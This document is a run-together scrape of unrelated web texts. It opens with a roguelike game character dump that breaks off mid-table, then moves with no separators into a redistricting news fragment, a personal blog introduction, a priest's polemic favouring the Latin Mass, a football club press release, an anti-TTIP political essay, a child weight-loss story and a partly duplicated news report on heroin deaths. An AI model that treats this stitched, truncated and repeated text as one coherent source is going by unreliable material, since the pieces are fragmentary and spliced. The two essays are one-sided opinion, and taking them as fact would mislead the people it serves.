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rawdownloadcloneembedreportprint text 11.89 KB Dungeon Crawl Stone Soup version 0.9.1 character file. 11766 Vilis the Thaumaturge (level 11, 0/55 HPs) Began as a Deep Elf Conjurer on Feb 11, 2012. Was a Believer of Vehumet. Shot with a poisoned arrow of flame by Nessos (9 damage)... on Level 12 of the Dungeon. The game lasted 01:04:59 (10779 turns). Vilis the Thaumaturge (Deep Elf Conjurer) Turns: 10779, Time: 01:04:59 HP 0/55 AC 9 Str 4 XL: 11 Next: 46% MP 2/36 EV 14 Int 27 (29) God: Vehumet [**....] Gold 653 SH 0 Dex 15 Spells: 5 memorised, 15 levels left Res.Fire :... See Invis. :. x - +2,+1 elf dagger Res.Cold :... Warding :.. g - +0 animal skin "Meen" {Int+4} Life Prot.:... Conserve :. (no shield) Res.Acid. :... Res.Corr. :. k - +0 helmet (curse) Res.Poison: + Clarity :. a - +0 cloak Res.Elec. :. Spirit.Shd :. K - +2 pair of gauntlets Sust.Abil.:.. Stasis :. u - +1 pair of dwarf boots Res.Mut. :. Ctrl.Telep.:. (no amulet) Res.Rott. :. Levitation :. t - ring of magical power Saprovore :... Ctrl.Flight:. m - ring of poison resistance @: somewhat resistant to hostile enchantments, stealthy A: berserk 1, -10% mp a: Renounce Religion You were on level 12 of the Dungeon. You worshipped Vehumet. Vehumet was greatly pleased with you. You were very hungry. You visited 1 branch of the dungeon, and saw 14 of its levels. You collected 688 gold pieces. You spent 55 gold pieces at shops. Inventory: Hand weapons x - a +2,+1 elven dagger (weapon) Armour a - a +0 cloak (worn) g - the +0 animal skin "Meen" (worn) {Int+4} (You found it on level 10 of the Dungeon) It affects your intelligence (+4). k - a cursed +0 helmet (worn) u - a +1 pair of dwarven boots (worn) K - a +2 pair of gauntlets (worn) Magical devices w - a wand of digging (1) Comestibles b - 2 apples h - a lemon n - a snozzcumber o - 2 pears C - a rambutan Scrolls f - 3 scrolls of remove curse i - 3 scrolls of enchant weapon II j - a scroll of recharging l - 2 scrolls of detect curse A - 3 scrolls of identify Jewellery e - an uncursed ring of ice m - a ring of poison resistance (left hand) t - a ring of magical power (right hand) z - an uncursed ring of sustenance D - an uncursed ring of protection from fire E - the ring "Gasirooz" {rF+ AC+3} (You found it on level 9 of the Dungeon) [ring of protection] It affects your AC (+3). It protects you from fire. Potions d - 3 potions of brilliance p - 2 potions of levitation q - 2 potions of agility s - a potion of might B - a potion of speed H - 2 potions of healing Books c - a book of Conjurations Spells Type Level *Magic Dart Conjuration 1 *Throw Frost Conjuration/Ice 2 *Mephitic Cloud Conjuration/Poison/Air 3 *Lightning Bolt Conjuration/Air 5 *Bolt of Cold Conjuration/Ice 6 Freezing Cloud Conjuration/Ice/Air 6 Skills: + Level 1 Fighting + Level 1 Short Blades - Level 4 Throwing + Level 4 Dodging + Level 4 Stealth + Level 1 Stabbing - Level 3 Shields + Level 1 Traps & Doors * Level 11 Spellcasting * Level 10 Conjurations * Level 8 Ice Magic * Level 5 Air Magic + Level 2 Poison Magic + Level 2 Evocations You had 15 spell levels left. You knew the following spells: Your Spells Type Power Success Level Hunger a - Magic Dart Conj ##### Excellent 1 None b - Throw Frost Ice/Conj ####### Excellent 2 None c - Mephitic Cloud Pois/Air/Conj ######.... Excellent 3 None d - Lightning Bolt Air/Conj #######... Excellent 5 Choko e - Bolt of Cold Ice/Conj #######... Excellent 6 Honeycomb Dungeon Overview and Level Annotations Branches: Dungeon (14/27) Orc (0/4) D:11 Temple: D:4-7 Lair: D:8-13 Hive: D:11-16 Vault: D:14-19 Altars: Ashenzari Cheibriados Kikubaaqudgha Nemelex Xobeh Sif Muna The Shining One Vehumet Zin Shops: D:4: [ D:6:! Innate Abilities, Weirdness & Mutations You tend to lose your temper in combat. Your magical capacity is low (-10% MP). Message History One of your 5 scrolls of remove curse catches fire! You see here a poisoned arrow. Read which item? (? for menu, Esc to quit) Okay, then. Evoke which item? (* to show all) (? for menu, Esc to quit) Zapping: w - a wand of digging (2) Press:? - help, Shift-Dir - straight line, p - Nessos The rock liquefies and sinks out of sight. This wand has 1 charge left. Nessos shoots a poisoned arrow of flame. The poisoned arrow of flame hits you! Nessos shoots a poisoned arrow of flame. The poisoned arrow of flame hits you! * * * LOW HITPOINT WARNING * * * Drink which item? (? for menu, Esc to quit) You feel better. Nessos shoots a poisoned arrow of flame. The poisoned arrow of flame hits you! One of your 4 scrolls of remove curse catches fire! You die... #..# #....#.# #.# #..# #.####.# #.#...####.# #.# #.#........#. #.#.#.###### #.# ##.# #.# #.# ##.# #.# #.# ##)## ####.###.# #..%#........@# #...# ####.###.### #...# #.###..§# ##.## #...#c..# ##.# #...#(§.# #.# #%....### ##.# #.#####...# #.# #### ##### #.# You could see Nessos. Vanquished Creatures Erica (D:12) Harold (D:10) 3 hill giants A troll (D:12) A two-headed ogre (D:12) A giant toad (D:12) Eustachio (D:9) 2 wyverns A hungry ghost (D:11) 3 vampire mosquitoes Menkaure (D:5) A sky beast (D:12) 5 orc warriors 2 ice beasts (D:12) A phantom (D:11) A yellow wasp (D:11) 5 ogres 3 centaurs 3 giant frogs A goliath beetle (D:8) A big kobold skeleton (D:11) 4 imps 2 hound zombies 2 shadows An iguana (D:4) 7 hounds 2 orc priests 5 scorpions 12 orc wizards A hound skeleton (D:10) 6 worker ants A jelly (D:9) 2 worm zombies 10 snakes A giant mite (D:1) A snake zombie (D:5) 2 worms (D:8) A bat zombie (D:3) A giant eyeball (D:9) 4 giant geckos 36 orcs 21 bats 8 giant cockroaches 17 goblins 20 hobgoblins 14 jackals 17 kobolds A quokka (D:7) 8 giant newts 3 giant spores A hobgoblin skeleton (D:11) 2 orc zombies 14 rats 3 small snakes 6 ballistomycetes A toadstool (D:5) 276 creatures vanquished. Vanquished Creatures (collateral kills) A centaur (D:11) An imp (D:10) An orc priest (D:12) A snake (D:6) An orc (D:8) A ballistomycete (D:9) 6 creatures vanquished. Vanquished Creatures (others) Maurice (D:10) An iguana (D:8) A goblin (D:5) 2 rats (D:1) 13 toadstools 18 creatures vanquished. Grand Total: 300 creatures vanquished Notes Turn | Place | Note -------------------------------------------------------------- 0 | D:1 | Vilis, the Deep Elf Conjurer, began the quest for the Orb. 0 | D:1 | Reached XP level 1. HP: 10/10 MP: 4/4 255 | D:1 | Reached XP level 2. HP: 15/15 MP: 1/7 259 | D:1 | Learned a level 2 spell: Throw Frost 972 | D:2 | Reached XP level 3. HP: 19/19 MP: 9/9 988 | D:2 | Reached skill level 1 in Ice Magic 1013 | D:2 | Reached skill level 6 in Conjurations 1187 | D:2 | Learned a level 3 spell: Mephitic Cloud 1640 | D:3 | Reached XP level 4. HP: 24/24 MP: 7/13 2017 | D:4 | Found a sparkling altar of Nemelex Xobeh. 2119 | D:4 | Reached XP level 5. HP: 28/28 MP: 1/17 2127 | D:4 | Found an ancient bone altar of Kikubaaqudgha. 2148 | D:4 | Found Ris Soj's Antique Armour Shop. 2193 | D:4 | Found a glowing golden altar of the Shining One. 2485 | D:5 | Entered Level 5 of the Dungeon 2546 | D:5 | Reached skill level 1 in Air Magic 2826 | D:5 | Reached skill level 1 in Poison Magic 2826 | D:5 | Reached XP level 6. HP: 32/32 MP: 14/19 2838 | D:5 | Noticed Menkaure 3042 | D:5 | Reached skill level 7 in Conjurations 3223 | D:5 | Reached skill level 5 in Spellcasting 3583 | D:5 | Found a sand-covered staircase. 3938 | D:5 | Defeated Menkaure 3938 | D:5 | Reached skill level 1 in Traps & Doors 3938 | D:5 | Reached XP level 7. HP: 36/36 MP: 13/22 4035 | D:6 | Found a deep blue altar of Sif Muna. 4140 | D:6 | Found a shattered altar of Ashenzari. 4147 | D:6 | Got a blackened book 4148 | D:6 | Identified Ashenzari's Tome of Skeletal Cooking (You found it on level 6 of the Dungeon) 4173 | D:6 | Found Zoyshoti's Distillery. 4184 | D:6 | Bought a potion of healing for 22 gold pieces 4184 | D:6 | Bought a potion of heal wounds for 33 gold pieces 4289 | D:6 | Found a glowing silver altar of Zin. 4558 | D:7 | Reached XP level 8. HP: 41/41 MP: 0/25 4851 | D:7 | Found a radiant altar of Vehumet. 4896 | D:7 | Found a flagged portal. 4990 | D:7 | Became a worshipper of Vehumet 6416 | D:8 | Reached skill level 1 in Short Blades 6416 | D:8 | Reached skill level 8 in Conjurations 6416 | D:8 | Reached skill level 1 in Evocations 6876 | D:8 | Learned a level 5 spell: Lightning Bolt 7003 | D:8 | Reached skill level 5 in Ice Magic 7152 | D:8 | Reached XP level 9. HP: 45/45 |
in drawing a district], it has to be nuanced,” he said. “They need to use a scalpel in drawing the districts, not a meat cleaver.”
In a statement following the decision, Scott said he supports more compact districts and hopes the legislature will redraw the map “more equitably.”
( Also on POLITICO: Why Americans hate the polls)
“I was not involved in this lawsuit. However, during the last round of redistricting in 2011, I was a strong proponent of the redistricting plan sponsored by State Senator Mamie Locke, which made all congressional districts in the Commonwealth more compact and contiguous,” the congressman said in the statement.
“I hope and expect the General Assembly will more equitably and appropriately balance the influence of all Virginia’s voters, as mandated by this decision, when they redraw the third congressional district and adjacent congressional districts next session,” he added.As a first post, I figure it’s probably best to lay myself out there a bit so you can get to know me. I’ve been avoiding writing this post because it’s the one task out of all the others involved in creating a blog that makes all of this real. It’s the one piece of the puzzle that must be in place for this entire thing to work.
And that scares the ever-loving shit out of me.
I’m terrified of putting myself out there and having people hate on me, as folks are wont to do on le internets. But, such is life. Haters gon’ hate, so I may as well just be brutally honest. Propping up a facade is awfully hard work, and I’m lazy.
So, this is me with no filter:
A year ago I was depressed, kinda plump, getting lunch-drunk way too often, and was generally just a giant pile of ennui. Things weren’t bad, but they weren’t great either. Instagram-stalking the creative and edgy people whose lives I wanted to steal came to a depressing head, so I decided to cut the crap and take active steps to live the life I wanted so desperately.
Notice I said taking steps. This whole thing is a work in progress because…
…I’m rather gluttonous in that I can sometimes be found up-ending a bag of chips into my mouth, in part because I don’t want to have to wash cheese dust off my hands afterward. See? Lazy. I always have these grand daydreams of the super active life I’m going to lead; I act on those dreams 1/16th of the time. AND THAT’S OKAY. I’m working on getting better about that.
I am my own harshest critic. Something strange happens when I’m faced with a camera lens and I do this weird scared face and/or have drunk eyes. I made my poor friend Brennan take no less than 328 pictures of me so I could choose a SINGLE photo for our “about” page. #ofcourse I ended up choosing one of the first shots we took.
I have eczema and it’s been a life-long source of insecurity. The shitty thing is? Mine is mild in comparison to what some people have to endure. Eczema sucks, so I can’t imagine how bad others have it. In addition to searching for ways to slap this crap into remission (expect lots of future posts on sensitive skin care!), one of my goals for this year is to just accept my skin the way it is because I’ve come to learn that confidence counts for a great deal of how others perceive the way we look. Also, less stress hormones floating around my body = happy skin!
My main artistic jam is photography, but my soul yearns to become Norm Abrams of the New Yankee Workshop. I belong to a local hackerspace so I have some nifty tools at my disposal, but not nearly enough woodworking stuff, so sometimes I have to get creative with my limited resources. I get really weird about asking for help, so I usually teach myself how to do anything I don’t already know how to do and just try to make my own way. I’m a perfectionist and have a sponge for a brain so this typically works in my favor. As a bonus (for you all), I learn by trial and error. I’ve made pretty much every mistake ever and have learned the common pitfalls, so hopefully you won’t have to make the same mistakes I’ve made.
Obsession is my baseline operating mode. One moment, I’m buying materials to make laser etched linocuts of my face to ultimately graffiti around the city (true [unfinished] story), the next I’m drawing up plans to build myself a desk. I’m a revolving door of crafting and creating. Sometimes I finish things, but usually I don’t, unless that something is a gift for someone else (I thrive on deadlines!), but even then, not always. I’m hoping this blog will help me check some projects off my never ending to do list.
I take copious naps.
Much to my mother’s chagrin, I am often covered in lint.
Sometimes I go days without putting on real pants.
Whether we notice we’re doing it or not, most people curate their online persona to portray their bEsT eVeR!1! self. There’s nothing inherently wrong with that, but it’s ultimately misleading. We all have faults. We all have crap in our lives we don’t want others to see, but perhaps it’s time to pull back the curtain a bit so we, as a whole, stop setting this false standard of what life is supposed to be like. Speaking from experience, when reality inevitably falls short of that impossible standard, it’s crazy-difficult to realize that everyone else has issues too. So, now you know some of mine.
My hope is that we can develop a symbiotic relationship here, wherein you will (fingers crossed) find some inspiration and usefulness in my posts, and I will be motivated to be better at life by all of you sitting there silently judging me.
If I haven’t scared you away already, you can expect fine posts like these in the future:
Making things with lasers! Because fire
Overly detailed tutorials because I’m an anal retentive crafter
How I manage my sensitive skin and being allergic to everything ever
DIY woodworking using only a dull hatchet and some shame (I kid, I kid)
My experience with a back-alley face laser, and the subsequent lesson on why face lasers are the type of thing one should not half-ass (I do not kid)
Many more posts not about lasers because I promise I have more going on than that
So, thanks for sitting through my long winded spiel. If you didn’t, here’s the tl;dr version: I’m lazy and gluttonous, I <3 wood, blog goals=you help me/I help you, LASERS.
The end!Constantly I hear from people that they do not go to the Latin Mass because they do not understand Latin. (Some even think that the homily is in Latin.) So please, just for now, let us put aside the argument of the language; Latin or English and go to the prayers and actions that are part of the rubrics of the two masses. Let us also look at who is the center of focus and the way the people participate, dress and receive God in Holy Communion at the two masses.
As a priest, I want to re-clarify what are the differences on how Jesus is treated in the two masses. This will be from my own stand point as a priest who has for years celebrated the New Mass in English and Spanish, and now, for the last 7 years offered the Ancient Holy Sacrifice of the Mass.
Most Catholics judge the two masses from their own subjective perspective and preferences. They are not priests. They are not offering the two masses and have no idea what it is like from the experience of the priest who offers the Sacrifice of the Holy Mass.
From my view up on the altar, the difference between the Ancient Mass and the New Mass is like day and night. Archbishop Sample, from Portland Oregon, put it well when he said at the Sacra Liturgia Conference in Rome, that he wants all of his priests to learn and offer the Latin Mass because of the effect it has on them understanding their role as priests. He said that offering the Holy Latin Mass has changed him completely and now he finally understands the sacrificial aspect of his priesthood.
I know, for the average Catholic who has had very little to no experience with the Latin Mass, the New Mass is just fine because it is all they have ever known or at which they feel comfortable and “at home with”. All over the world, the New Mass is all any Catholic is able to go to. That is all they know and that is all the knowledge they have to judge with.
The orthodox Neo-Cats who are not traditional Catholics, are constantly complaining about the grave liturgical abuses by priests who do not follow the essential rubrics found in the New Roman Missal. Like when the celebrant changes the words of consecration, does not say the Creed at Sunday Mass, will not genuflect when required, gives communion to everyone, including non Catholics, who comes up at funerals or wedding, and all the other grave abuses they experience at the New Mass.
But in essence, and for the most part, they are satisfied with the New Mass. Some Neo-Cats would prefer the New Mass in Latin or maybe said “ad orientam”.
Here is a list of observations I have made while offering the Ancient Mass and the New Mass together.
The whole focus of the Holy Latin Mass is on;
adoring God,
being at Calvary at the real un-bloody Sacrifice of Jesus being re-made present on the Cross,
the priest asking Jesus to intercede to God His Father for the forgiveness of our sins,
humbly praying that at this Sacrifice we may receive His salvation and graces.
At the Sacrifice of the Holy Latin Mass, it is obvious that;
God the Father is acting through Jesus His Son,
Jesus is acting through the priest, in Persona Christi,
There is hierarchy in Latin Mass, bishop, priest, religious, altar boys, lay people, like what is found in God’s Kingdom and the Catholic Church.
The priest has the special role in praying to God.
The priest prays in secret and in a low voice the sacred part of the Canon and the words of consecration.
People accompany Mary and the Apostle St. John in contemplation at the foot of the cross, while Jesus is offering His life in sacrifice to the Father for our salvation.
The people are assisting at Jesus’ Sacrifice on the cross for them.
People humbly and passively receive God’s graces through interior prayer.
People humbly receive Jesus in Holy Communion kneeling and on the tongue.
People pray and absorb the effects the Divine Mystery of the Holy Mass in silence.
The Choir is up in the Choir loft accompanying the people in sacred songs.
The choir sings anonymously for the glory of God and not to show off for the crowd.
The Choir sings acapella or are accompanied by organ music.
Gregorian Chant is sung to lift up people’s souls to God.
The respect, adoration and protection given to Jesus in the Blessed Sacrament.
There is only one way to offer the Holy Latin Mass and the rubrics must be obeyed.
There are way more genuflections, bows and blessing to God done by the priest.
No one, except the priest, can touch the Holy Chalice or Paten because they are consecrated to be only used to hold God’s Body and Blood.
Once the priest has said the words of consecration, he never separates the thumbs and index fingers so that if by any chance there are tiny fragments of the Body of Jesus, they do not fall on the Altar or floor.
The priest only drinks the Precious Blood of Jesus from one side of the Chalice so that when he will purify it, he can be sure he purifies where the Blood ran.
When receiving the Body of Christ, the priest puts the paten under his chin incase any particles may fall on the altar.
He scrapes the corporal with the paten to be sure if at any time a particle of the Body of Christ ended on the corporal, he can put it into the chalice and be consumed with the Blood of Christ.
Every time after the consecration, when the priest uncovers the chalice, he puts his fingers on the chalice so that it may never fall over and spill the Precious Blood of Jesus.
The Body of Christ is only given with the assistance of the altar boy holding the paten so that no crumbs of Jesus may fall on the floor.
No one ever touches God in Holy Communion, other than the priest.
All people are obliged to kneel and receive Jesus on the tongue.
After Holy Communion, the priest purifies the Chalice twice, once with wine and again with wine and water to be sure that he gets every drop of Jesus Precious Blood purified.
The priest purifies the thumbs and index fingers with water and wine into the chalice to get any tiny particle of host into the chalice and consumed.
People kneel in adoration and thanksgiving after Holy Communion.
People pray and do not speak inside the church.
Women cover their heads with veils.
People dress in there Sunday best, very respectfully and modestly.
The New Mass is focused on God, but at the same time, very much focused on the people.
Instead of the focus of the Celebrant being in Persona Christi, his focus is on representing and presiding in the name of the congregation.
The Celebrant faces the people, not God.
In all reality, the Celebrant is the center of the “show”. Often he will make jokes.
Little in the words of the New Mass are there much about the Sacrificial aspect of the mass.
The new mass is centered much more on the “Remembering at the Last Supper”.
There is no altar for a priestly sacrifice, just a wooden table.
The presider always prays out loud so that people can hear him.
The focus is on the people being very active by responding, hugging, standing, sitting, kneeling, singing and walking in procession to receive Holy Communion.
There are many people envolved in the New Mass, like the Lectors and Extraordinary Eucharistic ministers.
Many people are in or walk around the Sanctuary, like the Rock Band or other Choir members.
Every kind of music and singing is allowed.
The choir and musicians perform for the people and face them.
The music played and sung are to make people feel happy, good, warm, and excited.
Clapping is encouraged to congratulate people or while singing songs.
Children and other people are often invited up around the altar to pray with the presider.
Everyone loves it because the focus is on the cute children and the people.
The celebrant sits at the presiders chair facing the people, not God.
Everything is very external and not contemplative.
Very little silence.
Very little kneeling in adoration of God.
The New Roman Missal has so many “pastoral” options in how to celebrate the mass.
Many women come to mass dressed in sexy clothes, low necks, tight pants and shorts.
Men come dressed in shorts.
Lectors and Extraordinary ministers sometimes go up on the altar in sexy or inappropriate clothing.
Before and after mass, people and priests talk and visit loudly in church.
At the New Mass,
Most people receive Holy Communion.
They receive standing.
They receive Jesus in the hand.
Everyone has to stand until everyone has gone up together in procession to receive Holy Communion.
There is very little time allowed after Holy Communion to meditate and thank God for coming into their souls.
People usually sit and do not kneel after receiving Holy Communion.
Large host are used to show that we are all one body, and when they are broken, large particles shoot all over the corporal, altar and floor. It has happened to me.
Very rarely are patens used to catch the falling Body of Christ or crumbs.
The floors of Catholic churches are full of particles of the Body of Christ that fall on the ground from the hands of people who receive in the hand and are being walked on by all the people.
Everyone takes hold of the chalice given to them by the minister to receive the Blood of Christ.
Many times the Precious Blood of Christ is spilled on people or the floor.
Only priests are to purify the sacred vessels at mass, but often they are left for others to purify.
The purification of the chalice is with water only.
It is impossible for the priest to purify where all the people received from the upper most parts of the chalice that is rotated while administrating the Precious Blood by the Extraordinary Ministers.
The final question (and the answer should make everyone who reads this article want to only go to the Holy Latin Mass) is: Do we truly believe that God/Jesus is in the Holy Sacrament of the Altar? If so God deserves adoration, respect and protection.
As a priest who says the New Mass and the Latin Mass, the Latin Mass has by far more rubrics built right into the Latin Mass to protect the Body and Blood of Jesus from being desecrated in any manner. It clearly has the strong sacrificial component of the Holy Mass and priesthood. It does not have the protestant emphasis on the Last Supper and “doing this in remembrance of Me” like the Luther advocated. It also has prayers and gestures that facilitate more easily the adoration that Jesus deserves from us His creatures. And because of this, the Latin Mass pleases God way more than the New Mass.
The original author of this blog passed away in July of 2016. RIP Father Carota.Leicester City legend Emile Heskey is to make a return to the Club, as he takes up a dual ambassadorial role with the Foxes.
Emile has agreed to become an ambassador for the soon-to-be-launched Thailand International Academy, applying his experience as a successful Leicester City Academy graduate to delivering a valuable learning experience for young people from Thailand.
The former England international striker will also become an honorary ambassador for the LCFC Foxes Foundation, supplementing the charitable work of established Club Ambassador Alan Birchenall in the community.
Emile is currently in Bangkok as part of a Leicester City and King Power delegation, selecting 16 young players for the inaugural intake of the Thailand International Academy – a pilot project that will offer a Leicester-based learning experience for a group of 16-year-old Thai footballers.
Having been part of the selection team, Leicester-born Emile will call on his experience as a young footballer growing up in the city to help mentor the young players and assist in their adjustment to their new surroundings.
Emile said:“Leicester City is where it all started for me, so it is with great pride that I return to the Club in a role I am really excited about.
“Coming up through the Club’s Academy and developing into a first team footballer were some of the most important years of my career, but they were also some of the most enjoyable. My aim is to help these young players to have a similar experience while they are studying and playing in Leicester.
“I owe so much to Leicester City and to the education I received in the Club’s Academy, so I’m delighted to be able to give something back at the other end of my career.”
Susan Whelan, Leicester City’s Chief Executive Officer, said:“It is a great honour to welcome Emile back to the Club as part of such an exciting project.
“His standing among our supporters and his exemplary representation of the Club throughout his career make him a wonderful ambassador for Leicester City, while his first-hand experience as an aspirational young person in Leicester will be of great value for those involved in the Thailand International Academy.”
Heskey, now 36, is widely regarded to be one of the finest players ever to emerge from the Leicester City Academy. First signed to the Club as a nine-year-old, he excelled both on and off the pitch throughout his schooling with the Foxes and made his debut in 1995, aged 17. As his influence grew in the following seasons, he helped the Foxes return to the top-flight and win two League Cups in what is widely acknowledged by supporters as a ‘golden era’ under the management of Martin O’Neill.
His form for City also saw Heskey become a regular in the senior England team – earning the first of his 62 international caps in April 1999. His 11-year international career included appearances at the 2002 and 2010 World Cups plus the 2004 European Championships.
Emile played 196 times for Leicester, scoring 46 goals before a Club-record £11 million move to Liverpool in 2000. His four years at Anfield coupled with successful stays with Birmingham City, Wigan Athletic and Aston Villa would see Heskey pass 500 league appearances in England and become one of only 24 players to have scored 100 goals in the Premier League.
Emile most recently represented Newcastle Jets in Australia’s A-League, enjoying two successful seasons Down Under before returning to the UK.
He will begin his new role with Leicester City immediately and will be presented to the Thai media on Tuesday (4 November) as part of his ambassadorial commitments with the Thailand International Academy.by
With the release of leaked documents from the TTIP (Trans-Atlantic Trade and Investment Partnership) ‘trade’ deal Greenpeace framed its conclusions more diplomatically than I will: the actions of the U.S. political leadership undertaken at the behest of American corporate ‘leaders’ and their masters in the capitalist class make it among the most profoundly destructive forces in human history. At a time when environmental milestones pointing to irreversible global warming are being reached on a daily basis, the U.S. political leadership’s response is to pronounce publicly that it favors environmental resolution while using ‘trade’ negotiations to assure that effective resolution never takes place.
Those representing the U.S. in these negotiations are mainly business lobbyists who have been given the frame of state power to promote policies that benefit the businesses they represent. The thrust of the agreements is to enhance corporate power through legal mechanisms including patents, intellectual property rights and ISDS (Investor-State Dispute Settlement) provisions that create supranational judiciaries run by corporate lawyers for the benefit of corporations. Shifting the power to regulate greenhouse gas emissions to the corporations producing them precludes effective regulation in the public interest. The position that environmental harms must be proven before regulations are implemented leaves a dead planet as the admissible evidence.
U.S. President Barack Obama is both the most articulate American politician urging action on climate change and the central Liberal proponent of the trade agreements. The apparent paradox isn’t difficult to understand— the trade agreements will be legally binding on signatory states while Mr. Obama’s statement of the problem won’t be. As evidence of global warming mounts the Republican tactic of denial is looking more and more delusional. By articulating the problem Mr. Obama poses Democrats as the solution while handing the power to curtail greenhouse gas emissions to business lobbyists and corporate lawyers.
History is important here: the claim of ‘anthropogenic,’ or human caused, climate crisis universalizes the consequences of capitalist production when the carbon emissions that are causing it can be tied through both history and geography to the rise of capitalism. While the ‘industrial revolution’ began in England, it was the second industrial revolution and more
particularly, U.S. industrial production since the end of WWII, that is responsible for the exponential increase in carbon emissions behind global warming. At this stage the addition of China as major carbon emitter can be tied largely to its exports to the West.
The spread of capitalist production makes global warming very difficult to resolve. Were the U.S. and developed Europe the only material greenhouse gas emitters, capitalist logic would be inexorably linked to its product. However, the spread of this production has naturalized it by creating the illusion of the universality of both stuff lust (commodity fetish) and the social mechanisms for producing it. The environmental implausibility of seven billion people driving cars and living in McMansions has given way to the local logic of manufactured wants motivating an entrenched economic order.
The rise of neo-liberal ‘state capitalism’ infers a period that never existed when state and economic power were separate and distinct. It is hardly an accident then that ‘free-trade’ agreements codify the relations of state and corporate power. Following from Bill Clinton, Barack Obama’s sleight-of-hand is to pose the TPP (Trans-Pacific Partnership) and TTIP ‘agreements’ as economic policies when their intent is to cede political control to large corporations. Social understanding is gradually moving from corporations being political actors through campaign contributions to their being political entities that decide public policy through these ‘trade’ agreements.
The real paradox in play is between democracy and capitalism. ‘Trade’ deals are profoundly anti-democratic in that they cede civil control to ‘private’ corporations. Policies that maximize profits for corporations and their owners do so by reducing or eliminating democratic control over civic life. In civic logic ending human life on the planet is Dr. Strangelove-level insanity. In the realm of capitalist logic we all benefit from the stuff that capitalism produces, so what is the problem? The Liberal claim that ‘we’ can have both the stuff of capitalist production and environmental security through ‘smart’ capitalism ignores the ‘private’ control of the public realm inherent to capitalism.
What is made evident by the documents leaked by Greenpeace is that electoral politics are largely irrelevant to the business of ‘governing.’ The U.S. representatives negotiating ‘U.S.’ trade positions no more represent your and my interests than do the business executives selling us products. The public’s role in elections is as consumers of political rhetoric. Hillary Clinton’s willingness to say anything to win election reflects that her ‘product’ is political rhetoric and that it will bear no relation to her actual policies once the ‘sale’ is made. More profoundly, were Bernie Sanders to be elected his ability to govern in the public interest would be bounded by institutions dedicated to supporting ‘private’ interests.
In this sense Mr. Obama’s willingness to articulate positions on climate resolution, economic justice and concern for ‘human rights’ while doing the opposite is his skill as a political ‘leader.’ As long as this system is considered legitimate it will confer political legitimacy back on those elected. The oft heard complaint that elections don’t change anything depends on the ‘anything’ under consideration— the choice between Hillary Clinton and Donald Trump is ‘consumer choice’ politics. The choices not available through electoral politics are: ending the threats of climate crisis and nuclear weapons, placing economic justice as the central role of Western governments, ending wars of choice while de-militarizing the West and creating new forms of democratic participation.
The logic of ‘smart’ capitalism proceeds from the base conceit that people want the stuff of capitalism and that capitalist production is the way to get it. History locates this want as a consequence of capitalist propaganda undertaken in the U.S. in the early twentieth century— it is no more ‘natural’ than a toaster oven. The aggregating logic of capitalist ‘efficiency’ produced the environmental aggregates of global warming and climate crisis. The capitalist logic of more capitalism to resolve the consequences of already existing capitalism proceeds from the premise that manufactured wants need to be met rather than simply not manufactured. Current ‘trade’ deals rely of these manufactured wants as a form of political control by the corporate class. The choice is ours to reject manufactured wants in favor of self-determination. As the capitalist class understands, doing so would end capitalism and the economic order it represents.Barbara is a passionate writer and animal lover who has been professionally blogging for over 10 years and counting.
Breanna Bond weighed 186 pounds by the time she was nine years old. She had a hard time breathing and moving around. Other fifth-graders called her “fatty” and “fat head” — the torture was relentless.
Even as a baby, Breanna was overweight, reaching 100 pounds by the time she got to kindergarten. Breanna’s mother, Heidi, had her tested for everything from thyroid to diabetes, but no medical issues were causing the weight gain. Instead of letting their child continue down a dangerous and potentially lethal path, Heidi and her husband decided to take matters into their own hands.
Heidi designed an exercise routine, not just for Breanna, but for the entire family. They began to walk the four-mile trail near their home with a zero-tolerance policy. In less than a year, Breanna lost 66 pounds. She continues to eat healthy and exercise, and she can finally keep up with her energetic friends. Wait until you see her amazing transformation! She reminds me of the woman who lost nearly 300 pounds by making healthy lifestyle changes. Incredible!
Heidi is a proud mom. She says, “[Breanna] is an inspiration to the world and all children who are having weight issues across America, that you can do it with a pair of tennis shoes and motivation.”
The Bonds offered three tips for other parents who are looking to keep their children healthy: start as soon as possible, exercise, and enforce healthy eating habits. “Don’t be afraid to do the tough love. It’s worth it in the long run. It’s their life that’s at stake.”
Breanna, you’re awesome. Please SHARE this important video with your friends on Facebook!It's a devastating drug sweeping Waukesha County, and three teens cried Tuesday night as they told a room of nearly 800 people how heroin kills.VIDEO: 800 gather for heroin summitThey want people to listen to their moving message to prevent more deaths."I tried heroin because it was cheaper and got me more for my high," Oconomowoc High School senior Ashley Herbst said.Herbst was on the varsity poms team, an honors student and came from a good family before she tried heroin.Tuesday night, she felt compelled to share her story in front of hundreds, she said, to hopefully save a life."I always told myself I would never do heroin but in reality no one sets out to be a heroin addict," Herbst said.Herbst was one of the lucky ones. After hitting rock bottom earlier this year, she has been sober for nine months.But for senior Augie Badura's family, they weren't so fortunate."It's the biggest lost without you, and all because of drugs and your choice, your addiction," Oconomowoc High School senior Augie Badura said.His older brother, Archie, a 2013 graduate of Oconomowoc High School, died from heroin days after receiving his diploma.There wasn't a dry eye in the room as Badura talked about the day he learned his brother overdosed."Then I go home and see my brother in a body bag, blue and cold," Badura said. "That was it -- because a part of me died right there, too."The summit was only supposed to go on for 90 minutes but lasted nearly three hours. Families said that's a testament to how bad the heroin problem is there and how badly the community wants to stop it.According to the district attorney, someone in Waukesha County is more likely to die of a heroin overdose than in a car accident.Between 2000 and 2011 heroin deaths quadrupled in Waukesha County, and in 2012, people were saved by Narcan more than 5,000 times.
It's a devastating drug sweeping Waukesha County, and three teens cried Tuesday night as they told a room of nearly 800 people how heroin kills.
VIDEO: 800 gather for heroin summit
They want people to listen to their moving message to prevent more deaths.
Advertisement Related Content Oconomowoc School District proposes random drug testing
"I tried heroin because it was cheaper and got me more for my high," Oconomowoc High School senior Ashley Herbst said.
Herbst was on the varsity poms team, an honors student and came from a good family before she tried heroin.
Tuesday night, she felt compelled to share her story in front of hundreds, she said, to hopefully save a life.
"I always told myself I would never do heroin but in reality no one sets out to be a heroin addict," Herbst said.
Herbst was one of the lucky ones. After hitting rock bottom earlier this year, she has been sober for nine months.
But for senior Augie Badura's family, they weren't so fortunate.
"It's the biggest lost without you, and all because of drugs and your choice, your addiction," Oconomowoc High School senior Augie Badura said.
His older brother, Archie, a 2013 graduate of Oconomowoc High School, died from heroin days after receiving his diploma.
There wasn't a dry eye in the room as Badura talked about the day he learned his brother overdosed.
"Then I go home and see my brother in a body bag, blue and cold," Badura said. "That was it -- because a part of me died right there, too."
The summit was only supposed to go on for 90 minutes but lasted nearly three hours. Families said that's a testament to how bad the heroin problem is there and how badly the community wants to stop it.
According to the district attorney, someone in Waukesha County is more likely to die of a heroin overdose than in a car accident.
